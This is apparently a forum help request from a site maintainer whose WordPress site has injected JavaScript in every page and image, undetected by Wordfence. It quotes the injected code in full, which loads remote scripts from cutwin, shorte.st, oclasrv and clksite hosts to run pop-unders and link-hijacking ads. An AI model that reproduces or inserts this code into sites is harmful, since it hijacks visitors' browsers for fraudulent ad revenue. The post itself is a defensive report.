Cutwin Javascript Infection – not detected by Wordfence

Hi there,
I have recently come across an infection on a website I have been trying to repair and it is frustrating as the infection seems to pass right through Wordfence as though there is not a problem.

The infection adds a javascript code in to every page, post, custom post type and image on the website – literally everything it possibly can do!

I haven’t been able to (as of yet) determine where the infection has come from, as the plugins that are in use on the website are the same plugins used on other sites that have not been infected and are latest versions.

I’ve also scanned the site not only with Wordfence but with Anti-Malware from GOTMLS.NET and nothing was found.

An example of the javascript that is added in every image is contained below

<script type="text/javascript">
            var adlinkfly_url = 'https://cutwin.com/';
            var adlinkfly_api_token = 'f6624368d190e8c1819f49dc4d5fcb633a4d9641';
            var adlinkfly_advert = 2;
            var adlinkfly_exclude_domains = ['example.com', 'yoursite.com'];
        </script>
        
        <script type="text/javascript" src="//go.oclasrv.com/apu.php?zoneid=1086384"></script>//<![CDATA[ 
(function() {
    var configuration = {
    "token": "11f0dc1ed8453e409e04d86bea962f34",
    "exitScript": {
        "enabled": true
    },
    "popUnder": {
        "enabled": true
    }
};
    var script = document.createElement('script');
    script.async = true;
    script.src = '//cdn.shorte.st/link-converter.min.js';
    script.onload = script.onreadystatechange = function () {var rs = this.readyState; if (rs && rs != 'complete' && rs != 'loaded') return; shortestMonetization(configuration);};
    var entry = document.getElementsByTagName('script')[0];
    entry.parentNode.insertBefore(script, entry);
})();
//]]></script><script data-cfasync='false' type='text/javascript' src='//p80227.clksite.com/adServe/banners?tid=80227_250494_0&tagid=2'></script>

Any ideas or suggestions on this would be extremely welcome